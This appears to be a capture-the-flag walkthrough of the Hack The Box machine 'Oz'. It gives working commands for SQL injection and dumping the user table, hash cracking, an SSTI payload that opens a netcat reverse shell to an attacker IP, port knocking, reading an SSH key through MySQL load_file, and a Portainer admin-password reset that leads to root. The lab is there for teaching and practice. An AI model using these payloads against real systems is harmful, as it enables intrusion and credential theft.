Oz

Enumeration

As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.

The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:

nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.96 -oN allPorts

  • -sS use the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.

  • --min-rate 5000 nmap will try to keep the sending rate at or above 5000 packets per second.

  • -p- scanning the entire port range, from 1 to 65535.

  • -T5 insane mode, it is the fastest mode of the nmap time template.

  • -Pn assume the host is online.

  • -n scan without reverse DNS resolution.

  • -oN save the scan result into a file, in this case the allports file.

Now that we know which ports are open, let's try to obtain the services and versions running on these ports. The following command will scan these ports more in depth and save the result into a file:

nmap -sC -sV -p80,60080 10.10.10.96 -oN targeted

  • -sC performs the scan using the default set of scripts.

  • -sV enables version detection.

  • -oN save the scan result into file, in this case the targeted file.

There is an API on port 80.

curl http://10.10.10.96/

With wfuzz, we could see that there is a directory called users.

wfuzz -c --hw=1,4 -t 200 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.10.10.96/FUZZ

Inside the users directory, we'll see the admin directory available. We'll also see that the ' character gives a 500 response.

wfuzz -c --hh=5 -t 200 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.10.10.96/users/FUZZ

The /admin directory shows the username admin.

curl -s "http://10.10.10.96/users/admin" | jq

The ' character breaks the server.

curl "http://10.10.10.96/users/'"

Exploitation

With a simple SQL injection payload, we are able to get another user.

curl -s "http://10.10.10.96/users/'%20or%201=1--%20-"

Let's enumerate the database. First, get the name of the database.

curl -s "http://10.10.10.96/users/'%20union%20select%20database()--%20-" | jq '.username'

Now, check which are its tables.

curl -s "http://10.10.10.96/users/'%20union%20select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema='ozdb'--%20-" | jq '.username'

Let's get the columns of the users_gbw table.

curl -s "http://10.10.10.96/users/'%20union%20select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema='ozdb'%20and%20table_name='users_gbw'--%20-" | jq '.username'

Finally, dump the entire users_gbw table.

for i in $(seq 1 10); do curl -s "http://10.10.10.96/users/'%20union%20select%20concat(username,':',password)%20from%20ozdb.users_gbw%20limit%20$i,1--%20-" | jq '.username' | tr -d '"'; done

Let's try to break these hashes. Put them into the hashes file. If we try to break it with john, we'll see that it identifies the hashes as PBKDF2-HMAC-SHA256. But it is very slow.

john -w=/usr/share/wordlists/rockyou.txt hashes

Let's use hashcat instead. First, we need to know the hash mode, and the format of the hash.

hashcat --example-hashes | grep ': PBKDF2-HMAC-SHA256' -C 10

As the format of the has is different, we need to tweak the hashes that we have to make it work.

cat hashes | sed 's/pbkdf2-//g' | tr "$" ":" | sed 's/::/:/' | sponge

Finally, break the hashes with hashcat.

hashcat -m 10900 -a 0 hashes /usr/share/wordlists/rockyou.txt --user

This looks like the password of wizard.oz.The website on port 8080 shows a login page. Let's use the credentials we got.

Inside, we'll see twelve tickets.

The eighth ticket says that there might be SSH keys in /home/dorthi/.

From the + button, we could add a new ticket. Try to add a new ticket, intercept the request with BurpSuite, and send it to the repeater.

Our input appears in the response. We could try to inject SSTI payloads, such as python code.

Time to get a shell. First, let's set a netcat listener on port 4444.

rlwrap nc -lvnp 4444

  • -l listen mode.

  • -v verbose mode.

  • -n numeric-only IP, no DNS resolution.

  • -p specify the port to listen on.

Using the following payload, we'll get access as root to a machine called tix-app, which looks like a container.

{{ self.init.globals.builtins.import('os').popen('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>%261|nc 10.10.14.6 4444 >/tmp/f').read() }}

Privilege Escalation

In the root directory, there is one folder called .secret, and another one called containers.

ls -la /

The .secret directory has a file called knockd.conf.

ls -la /.secret

This file configures port knocking on the system. This means that if ports 40809, 50212 and 46969 are hit, then port 22 will open. We can test it out.

for port in 40809 50212 46969; do echo "test" | nc -u -w 1 10.10.10.96 $port; done; nmap -p22 -n -Pn 10.10.10.96

The containers directory has another folder inside called database.

ls -la /containers

Inside, there is a bash script called start.sh.

ls -la /containers/database

Which contains credentials for a database hosted in 10.100.10.4.

cat /containers/database/start.sh

Let's try to connect to the remote database.

mysql -h 10.100.10.4 -u root -pSuP3rS3cr3tP@ss -e "show databases"

The credentials are valid. As the database is in a remote server, we could try to retrieve local files from that server. As we saw earlier, there is one user called dorthi, which might have some SSH keys.

mysql -h 10.100.10.4 -u root -pSuP3rS3cr3tP@ss -e "select load_file('/home/dorthi/.ssh/id_rsa')"

Now that we have an SSH private key for dorthi, let's log into the machine. Enter the dorthi password we found in the bash script to decrypt the SSH key. Then, we'll be able to grab the user flag.

for port in 40809 50212 46969; do echo "test" | nc -u -w 1 10.10.10.96 $port; done; ssh dorthi@10.10.10.96 -i id_rsa

If we check the sudo privileges, we'll see that we can list and inspect docker networks.

sudo -l

There a are a few networks configured.

sudo docker network ls

The bridge network has one container with the IP address 172.17.0.2 hosting a portainer-1.11.1 server.

sudo docker network inspect bridge

The server has nmap. Let's use it to scan the ports of the portainer server.

nmap -p- --min-rate 5000 -n -Pn 172.17.0.2

Now do port forwarding of that port.

for port in 40809 50212 46969; do echo "test" | nc -u -w 1 10.10.10.96 $port; done; ssh dorthi@10.10.10.96 -i id_rsa -L 9000:172.17.0.2:9000

The portainer server shows a login page.

I found this vulnerability, which allow any unauthenticated user to change the admin password. We just need to make a POST request with the new password.

curl -S -X POST 'http://localhost:9000/api/users/admin/init' -d '{"password": "alfa8sa"}' -H "Content-Type: application/json"

Now we are able to enter the server as admin.

There is a way to gain access to the main server as root. First, we need to check the image list.

I'll use the python:2.7-alpine image. Now, go to containers.

Create a new container called privEsc with the python:2.7-alpine image.

Select TTY as the console.

Then, create a volume that mounts the entire file system of the parent system to the /rootfs directory of the container.

Now, access the privEsc container, and start a console.

We have access to the container as root, but there is a directory called rootfs in /.

Give SUID permissions to the /bin/bash binary inside rootfs.

Finally, back in the SSH console, get a shell as root, and then all we have to do is reap the harvest and take the root flag.

bash -p

Last updated

Was this helpful?